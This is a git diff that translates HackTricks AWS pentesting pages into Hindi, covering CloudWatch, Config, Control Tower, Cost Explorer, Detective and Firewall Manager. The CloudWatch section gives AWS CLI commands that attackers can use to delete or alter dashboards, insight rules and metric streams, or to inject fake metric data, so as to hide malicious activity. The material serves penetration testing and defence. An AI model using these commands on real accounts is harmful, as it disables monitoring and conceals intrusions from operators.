संगठन की निगरानी और दृश्यता क्षमताओं को उसके डैशबोर्ड बनाने, संशोधित करने या हटाने के द्वारा समझौता कर सकता है। इस अनुमति का उपयोग सिस्टम के प्रदर्शन और स्वास्थ्य की महत्वपूर्ण दृश्यता को हटाने, डैशबोर्ड को गलत डेटा प्रदर्शित करने के लिए बदलने या दुर्भावनापूर्ण गतिविधियों को छिपाने के लिए किया जा सकता है। ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` - -**Potential Impact**: Loss of monitoring visibility and misleading information. +**संभावित प्रभाव**: निगरानी दृश्यता का नुकसान और भ्रामक जानकारी। ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team. - +Insight नियमों का उपयोग विसंगतियों का पता लगाने, प्रदर्शन को अनुकूलित करने और संसाधनों का प्रभावी ढंग से प्रबंधन करने के लिए किया जाता है। मौजूदा insight नियमों को हटाकर, एक हमलावर महत्वपूर्ण निगरानी क्षमताओं को हटा सकता है, जिससे प्रणाली प्रदर्शन मुद्दों और सुरक्षा खतरों के प्रति अंधी हो जाती है। इसके अतिरिक्त, एक हमलावर misleading डेटा उत्पन्न करने या दुर्भावनापूर्ण गतिविधियों को छिपाने के लिए insight नियमों को बना या संशोधित कर सकता है, जिससे गलत निदान और संचालन टीम से अनुपयुक्त प्रतिक्रियाएँ हो सकती हैं। ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` - -**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures. +**संभावित प्रभाव**: प्रदर्शन मुद्दों और विसंगतियों का पता लगाने और प्रतिक्रिया देने में कठिनाई, गलत जानकारी के आधार पर निर्णय लेना और संभावित रूप से दुर्भावनापूर्ण गतिविधियों या प्रणाली की विफलताओं को छिपाना। ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity. - +महत्वपूर्ण अंतर्दृष्टि नियमों को निष्क्रिय करके, एक हमलावर संगठन को प्रमुख प्रदर्शन और सुरक्षा मैट्रिक्स के प्रति अंधा कर सकता है। इसके विपरीत, भ्रामक नियमों को सक्षम या कॉन्फ़िगर करके, गलत डेटा उत्पन्न करना, शोर पैदा करना, या दुर्भावनापूर्ण गतिविधि को छिपाना संभव हो सकता है। ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` - -**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts. +**संभावित प्रभाव**: संचालन टीम के बीच भ्रम, वास्तविक मुद्दों के प्रति देरी से प्रतिक्रिया और झूठी चेतावनियों के आधार पर अनावश्यक कार्रवाई। ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity: +एक हमलावर के पास **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** अनुमतियाँ होने पर वह मेट्रिक डेटा स्ट्रीम बनाने और हटाने में सक्षम होगा, जिससे सुरक्षा, निगरानी और डेटा की अखंडता प्रभावित होगी: -- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations. -- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues. -- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden. - -Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless. +- **दुष्ट स्ट्रीम बनाना**: संवेदनशील डेटा को अनधिकृत स्थलों पर भेजने के लिए मेट्रिक स्ट्रीम बनाना। +- **संसाधन हेरफेर**: अत्यधिक डेटा के साथ नए मेट्रिक स्ट्रीम बनाने से बहुत अधिक शोर उत्पन्न हो सकता है, जिससे गलत चेतावनियाँ उत्पन्न होती हैं, और वास्तविक मुद्दों को छिपा दिया जाता है। +- **निगरानी में विघटन**: मेट्रिक स्ट्रीम को हटाने से, हमलावर निगरानी डेटा के निरंतर प्रवाह को बाधित कर देंगे। इस तरह, उनकी दुष्ट गतिविधियाँ प्रभावी रूप से छिपी रहेंगी। +इसी तरह, **`cloudwatch:PutMetricData`** अनुमति के साथ, मेट्रिक स्ट्रीम में डेटा जोड़ना संभव होगा। इससे DoS हो सकता है क्योंकि जो गलत डेटा जोड़ा गया है, उसकी मात्रा के कारण यह पूरी तरह से बेकार हो जाएगा। ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` - -Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance: - +EC2 इंस्टेंस पर CPU उपयोग के 70% के अनुरूप डेटा जोड़ने का उदाहरण: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. +**संभावित प्रभाव**: निगरानी डेटा के प्रवाह में बाधा, विसंगतियों और घटनाओं का पता लगाने पर प्रभाव, संसाधन हेरफेर और अत्यधिक मैट्रिक स्ट्रीम के निर्माण के कारण लागत में वृद्धि। ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams. - +एक हमलावर प्रभावित मैट्रिक डेटा स्ट्रीम के प्रवाह को नियंत्रित करेगा (यदि कोई संसाधन प्रतिबंध नहीं है तो हर डेटा स्ट्रीम)। अनुमति **`cloudwatch:StopMetricStreams`** के साथ, हमलावर महत्वपूर्ण मैट्रिक स्ट्रीम को रोककर अपनी दुर्भावनापूर्ण गतिविधियों को छिपा सकते हैं। ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents. +**संभावित प्रभाव**: निगरानी डेटा के प्रवाह में बाधा, जो असामान्यताओं और घटनाओं की पहचान को प्रभावित करता है। ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags. - +एक हमलावर CloudWatch संसाधनों (वर्तमान में केवल अलार्म और Contributor Insights नियम) से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा। इससे आपके संगठन की टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा आ सकती है। ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` +**संभावित प्रभाव**: टैग-आधारित एक्सेस नियंत्रण नीतियों में विघटन। -**Potential Impact**: Disruption of tag-based access control policies. - -## References +## संदर्भ - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html) - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index f2ab3c4c5..0e53f7a08 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,47 +4,43 @@ ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**. +AWS Config **संसाधन परिवर्तनों को कैप्चर करता है**, इसलिए Config द्वारा समर्थित किसी भी संसाधन में परिवर्तन को रिकॉर्ड किया जा सकता है, जो **यह रिकॉर्ड करेगा कि क्या बदला, साथ ही अन्य उपयोगी मेटाडेटा, सभी को एक फ़ाइल में रखा गया है जिसे कॉन्फ़िगरेशन आइटम कहा जाता है**, एक CI। यह सेवा **क्षेत्र विशेष** है। -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +एक कॉन्फ़िगरेशन आइटम या **CI** जैसा कि इसे कहा जाता है, AWS Config का एक प्रमुख घटक है। यह एक JSON फ़ाइल से बना है जो **कॉन्फ़िगरेशन जानकारी, संबंध जानकारी और अन्य मेटाडेटा को एक समर्थित संसाधन के समय-विशिष्ट स्नैपशॉट दृश्य के रूप में रखता है**। AWS Config द्वारा किसी संसाधन के लिए रिकॉर्ड की जा सकने वाली सभी जानकारी CI के भीतर कैप्चर की जाती है। एक CI **हर बार** बनाई जाती है जब किसी समर्थित संसाधन की कॉन्फ़िगरेशन में किसी भी तरह से परिवर्तन किया जाता है। प्रभावित संसाधन के विवरण को रिकॉर्ड करने के अलावा, AWS Config किसी भी सीधे संबंधित संसाधनों के लिए भी CIs को रिकॉर्ड करेगा ताकि यह सुनिश्चित किया जा सके कि परिवर्तन ने उन संसाधनों को भी प्रभावित नहीं किया। -- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance -- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. -- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. -- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. +- **मेटाडेटा**: कॉन्फ़िगरेशन आइटम के बारे में विवरण शामिल करता है। एक संस्करण ID और एक कॉन्फ़िगरेशन ID, जो CI को अद्वितीय रूप से पहचानता है। अन्य जानकारी में एक MD5Hash शामिल हो सकता है जो आपको पहले से रिकॉर्ड किए गए अन्य CIs की तुलना करने की अनुमति देता है। +- **विशेषताएँ**: यह वास्तविक संसाधन के खिलाफ सामान्य **विशेषता जानकारी रखता है**। इस अनुभाग में, हमारे पास एक अद्वितीय संसाधन ID और किसी भी कुंजी मान टैग भी हैं जो संसाधन से जुड़े हैं। संसाधन प्रकार भी सूचीबद्ध है। उदाहरण के लिए, यदि यह एक EC2 उदाहरण के लिए CI था, तो सूचीबद्ध संसाधन प्रकार नेटवर्क इंटरफेस या उस EC2 उदाहरण के लिए इलास्टिक IP पता हो सकते हैं। +- **संबंध**: यह किसी भी जुड़े **संबंध के लिए जानकारी रखता है जो संसाधन हो सकता है**। इसलिए इस अनुभाग में, यह इस संसाधन के पास अन्य संसाधनों के साथ किसी भी संबंध का स्पष्ट विवरण दिखाएगा। उदाहरण के लिए, यदि CI एक EC2 उदाहरण के लिए था, तो संबंध अनुभाग VPC के साथ कनेक्शन और उस सबनेट को दिखा सकता है जिसमें EC2 उदाहरण स्थित है। +- **वर्तमान कॉन्फ़िगरेशन:** यह वही जानकारी प्रदर्शित करेगा जो AWS CLI द्वारा किए गए वर्णन या सूची API कॉल के दौरान उत्पन्न होगी। AWS Config समान जानकारी प्राप्त करने के लिए समान API कॉल का उपयोग करता है। +- **संबंधित घटनाएँ**: यह AWS CloudTrail से संबंधित है। यह **AWS CloudTrail घटना ID को प्रदर्शित करेगा जो इस CI के निर्माण को ट्रिगर करने वाले परिवर्तन से संबंधित है**। प्रत्येक संसाधन के खिलाफ किए गए हर परिवर्तन के लिए एक नया CI बनाया जाता है। परिणामस्वरूप, विभिन्न CloudTrail घटना IDs बनाई जाएंगी। -**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type. +**कॉन्फ़िगरेशन इतिहास**: संसाधनों के कॉन्फ़िगरेशन इतिहास को कॉन्फ़िगरेशन आइटम के माध्यम से प्राप्त करना संभव है। एक कॉन्फ़िगरेशन इतिहास हर 6 घंटे में प्रदान किया जाता है और एक विशेष संसाधन प्रकार के लिए सभी CIs को शामिल करता है। -**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data. +**कॉन्फ़िगरेशन स्ट्रीम**: कॉन्फ़िगरेशन आइटम डेटा के विश्लेषण को सक्षम करने के लिए एक SNS टॉपिक पर भेजे जाते हैं। -**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources. +**कॉन्फ़िगरेशन स्नैपशॉट**: कॉन्फ़िगरेशन आइटम सभी समर्थित संसाधनों का समय-विशिष्ट स्नैपशॉट बनाने के लिए उपयोग किए जाते हैं। -**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. +**S3 का उपयोग किया जाता है** कॉन्फ़िगरेशन इतिहास फ़ाइलों और आपके डेटा के किसी भी कॉन्फ़िगरेशन स्नैपशॉट को एकल बकेट में स्टोर करने के लिए, जिसे कॉन्फ़िगरेशन रिकॉर्डर के भीतर परिभाषित किया गया है। यदि आपके पास कई AWS खाते हैं, तो आप अपने प्राथमिक खाते के लिए एक ही S3 बकेट में अपने कॉन्फ़िगरेशन इतिहास फ़ाइलों को एकत्रित करना चाह सकते हैं। हालाँकि, आपको इस सेवा के सिद्धांत, config.amazonaws.com, और आपके द्वितीयक खातों को आपके प्राथमिक खाते में S3 बकेट के लिए लिखने की अनुमति देने की आवश्यकता होगी। -### Functioning +### कार्यप्रणाली -- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config -- Stores everything in S3 bucket -- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings -- Lambda feeds back to Config -- If rule has been broken, Config fires up an SNS +- जब परिवर्तन किए जाते हैं, उदाहरण के लिए सुरक्षा समूह या बकेट एक्सेस नियंत्रण सूची में —> AWS Config द्वारा उठाए गए एक घटना के रूप में फायर करें +- सब कुछ S3 बकेट में स्टोर करता है +- सेटअप के आधार पर, जैसे ही कुछ बदलता है, यह एक लैम्ब्डा फ़ंक्शन को ट्रिगर कर सकता है या AWS Config सेटिंग्स के माध्यम से समय-समय पर देखने के लिए लैम्ब्डा फ़ंक्शन को शेड्यूल कर सकता है +- लैम्ब्डा Config को फीडबैक करता है +- यदि नियम टूट गया है, तो Config एक SNS को सक्रिय करता है ![](<../../../../images/image (126).png>) -### Config Rules +### Config नियम -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +Config नियम आपके संसाधनों के बीच **विशिष्ट अनुपालन जांच** **और नियंत्रण लागू करने में मदद करने का एक शानदार तरीका है**, और आपको प्रत्येक संसाधन प्रकार के लिए एक आदर्श तैनाती विनिर्देश अपनाने की अनुमति देता है। प्रत्येक नियम **आधारभूत रूप से एक लैम्ब्डा फ़ंक्शन है** जो जब बुलाया जाता है तो संसाधन का मूल्यांकन करता है और नियम के साथ अनुपालन परिणाम निर्धारित करने के लिए कुछ सरल लॉजिक करता है। **जब भी एक परिवर्तन किया जाता है** आपके समर्थित संसाधनों में से एक पर, **AWS Config किसी भी कॉन्फ़िगरेशन नियमों के खिलाफ अनुपालन की जांच करेगा जो आपके पास हैं**।\ +AWS के पास सुरक्षा छाते के तहत कई **पूर्वनिर्धारित नियम** हैं जो उपयोग के लिए तैयार हैं। उदाहरण के लिए, Rds-storage-encrypted। यह जांचता है कि क्या आपके RDS डेटाबेस उदाहरणों द्वारा स्टोरेज एन्क्रिप्शन सक्रिय है। Encrypted-volumes। यह जांचता है कि क्या कोई EBS वॉल्यूम जो एक संलग्न स्थिति में है, एन्क्रिप्टेड है। -- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. -- **Custom rules**: You can create your own rules to check specific customconfigurations. +- **AWS प्रबंधित नियम**: पूर्वनिर्धारित नियमों का एक सेट जो कई सर्वोत्तम प्रथाओं को कवर करता है, इसलिए अपने स्वयं के सेटअप करने से पहले इन नियमों को ब्राउज़ करना हमेशा फायदेमंद होता है क्योंकि संभावना है कि नियम पहले से ही मौजूद हो। +- **कस्टम नियम**: आप विशिष्ट कस्टम कॉन्फ़िगरेशन की जांच के लिए अपने स्वयं के नियम बना सकते हैं। -Limit of 50 config rules per region before you need to contact AWS for an increase.\ -Non compliant results are NOT deleted. +प्रत्येक क्षेत्र में 50 कॉन्फ़िगरेशन नियमों की सीमा है, इससे पहले कि आपको वृद्धि के लिए AWS से संपर्क करना पड़े।\ +गैर-अनुपालन परिणामों को हटाया नहीं जाता है। {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 9fab39fb8..0cabb25fc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,33 +5,31 @@ ## Control Tower > [!NOTE] -> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them. +> संक्षेप में, Control Tower एक सेवा है जो आपके संगठन के भीतर सभी खातों के लिए नीतियों को परिभाषित करने की अनुमति देती है। इसलिए प्रत्येक को प्रबंधित करने के बजाय, आप Control Tower से नीतियाँ सेट कर सकते हैं जो उन पर लागू होंगी। -AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS. +AWS Control Tower एक **सेवा है जो Amazon Web Services (AWS)** द्वारा प्रदान की जाती है जो संगठनों को AWS में एक सुरक्षित, अनुपालन, बहु-खाता वातावरण स्थापित करने और प्रबंधित करने में सक्षम बनाती है। -AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog. +AWS Control Tower एक **पूर्व-परिभाषित सर्वोत्तम-प्रथा ब्लूप्रिंट का सेट** प्रदान करता है जिसे विशिष्ट **संगठनात्मक आवश्यकताओं** को पूरा करने के लिए अनुकूलित किया जा सकता है। इन ब्लूप्रिंट में पूर्व-कॉन्फ़िगर की गई AWS सेवाएँ और सुविधाएँ शामिल हैं, जैसे AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, और AWS Service Catalog। -With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies. +AWS Control Tower के साथ, प्रशासक जल्दी से एक **बहु-खाता वातावरण स्थापित कर सकते हैं जो संगठनात्मक आवश्यकताओं** को पूरा करता है, जैसे **सुरक्षा** और अनुपालन। यह सेवा खातों और संसाधनों को देखने और प्रबंधित करने के लिए एक केंद्रीय डैशबोर्ड प्रदान करती है, और यह खातों, सेवाओं, और नीतियों के प्रावधान को स्वचालित भी करती है। -In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs. +इसके अतिरिक्त, AWS Control Tower गार्डरेल प्रदान करता है, जो पूर्व-कॉन्फ़िगर की गई नीतियों का एक सेट है जो सुनिश्चित करता है कि वातावरण संगठनात्मक आवश्यकताओं के साथ अनुपालन में बना रहे। इन नीतियों को विशिष्ट आवश्यकताओं को पूरा करने के लिए अनुकूलित किया जा सकता है। -Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives. +कुल मिलाकर, AWS Control Tower AWS में एक सुरक्षित, अनुपालन, बहु-खाता वातावरण स्थापित करने और प्रबंधित करने की प्रक्रिया को सरल बनाता है, जिससे संगठनों के लिए अपने मुख्य व्यावसायिक लक्ष्यों पर ध्यान केंद्रित करना आसान हो जाता है। ### Enumeration -For enumerating controltower controls, you first need to **have enumerated the org**: +Controltower नियंत्रणों की गणना करने के लिए, आपको पहले **संस्थान की गणना करनी होगी**: {{#ref}} ../aws-organizations-enum.md {{#endref}} - ```bash # Get controls applied in an account aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` - > [!WARNING] -> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts +> Control Tower भी **Account factory** का उपयोग कर सकता है **CloudFormation templates** को **accounts में निष्पादित करने** और उन accounts में **सेवाएँ चलाने** (privesc, post-exploitation...) के लिए ### Post Exploitation & Persistence @@ -40,7 +38,3 @@ aws controltower list-enabled-controls --target-identifier arn:aws:organizations {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 2f967331b..b3d4faaa0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Cost Explorer and Anomaly detection +## Cost Explorer और Anomaly detection -This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\ -Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**. +यह आपको **यह जांचने की अनुमति देता है कि आप AWS सेवाओं में पैसे कैसे खर्च कर रहे हैं** और आपको **anomalies का पता लगाने में मदद करता है**।\ +इसके अलावा, आप एक anomaly detection को कॉन्फ़िगर कर सकते हैं ताकि AWS आपको तब चेतावनी दे सके जब कुछ **costs में anomaly पाई जाती है**। ### Budgets -Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\ -Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). +Budgets **लागत और उपयोग को प्रबंधित करने में मदद करते हैं**। आप **जब एक सीमा तक पहुँचते हैं तो आपको सूचित किया जा सकता है**।\ +इसके अलावा, इन्हें सेवा के उपयोग जैसे गैर-लागत संबंधित निगरानी के लिए भी उपयोग किया जा सकता है (कितने GB एक विशेष S3 बकेट में उपयोग किए जाते हैं?)। {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 9d1a40eba..c24ff6e82 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations. +**Amazon Detective** सुरक्षा जांच प्रक्रिया को सरल बनाता है, जिससे **विश्लेषण, जांच, और सुरक्षा मुद्दों या असामान्य गतिविधियों के मूल कारण** को पहचानना अधिक कुशल हो जाता है। यह AWS संसाधनों से लॉग डेटा के संग्रह को स्वचालित करता है और **मशीन लर्निंग, सांख्यिकीय विश्लेषण, और ग्राफ सिद्धांत** का उपयोग करके एक आपस में जुड़े डेटा सेट का निर्माण करता है। यह सेटअप सुरक्षा जांचों की गति और प्रभावशीलता को बहुत बढ़ा देता है। -The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause. +यह सेवा सुरक्षा घटनाओं की गहन खोज को आसान बनाती है, जिससे सुरक्षा टीमें मुद्दों के अंतर्निहित कारणों को तेजी से समझ और संबोधित कर सकती हैं। Amazon Detective VPC फ्लो लॉग, AWS क्लाउडट्रेल, और Amazon GuardDuty जैसे स्रोतों से विशाल मात्रा में डेटा का विश्लेषण करता है। यह स्वचालित रूप से **संसाधनों, उपयोगकर्ताओं, और उनके इंटरैक्शन का एक व्यापक, इंटरैक्टिव दृश्य** उत्पन्न करता है। यह एकीकृत दृष्टिकोण सभी आवश्यक विवरण और संदर्भ को एक स्थान पर प्रदान करता है, जिससे टीमें सुरक्षा निष्कर्षों के पीछे के कारणों को पहचानने, प्रासंगिक ऐतिहासिक गतिविधियों की जांच करने, और तेजी से मूल कारण निर्धारित करने में सक्षम होती हैं। ## References @@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0369f075c..a2bffc273 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,80 +4,79 @@ ## Firewall Manager -**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones. +**AWS Firewall Manager** **AWS WAF, AWS Shield Advanced, Amazon VPC सुरक्षा समूहों और नेटवर्क एक्सेस कंट्रोल सूचियों (ACLs), और AWS नेटवर्क फ़ायरवॉल, AWS Route 53 Resolver DNS फ़ायरवॉल और तीसरे पक्ष के फ़ायरवॉल** के प्रबंधन और रखरखाव को सरल बनाता है। यह आपको अपने फ़ायरवॉल नियमों, शील्ड एडवांस्ड सुरक्षा, VPC सुरक्षा समूहों और नेटवर्क फ़ायरवॉल सेटिंग्स को केवल एक बार कॉन्फ़िगर करने की अनुमति देता है, सेवा **स्वचालित रूप से इन नियमों और सुरक्षा को आपके खातों और संसाधनों पर लागू करती है**, जिसमें नए जोड़े गए भी शामिल हैं। -The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account. +सेवा **विशिष्ट संसाधनों को एक साथ समूहित और सुरक्षित करने** की क्षमता प्रदान करती है, जैसे कि वे सभी जो एक सामान्य टैग साझा करते हैं या आपके सभी CloudFront वितरण। फ़ायरवॉल प्रबंधक का एक महत्वपूर्ण लाभ यह है कि यह 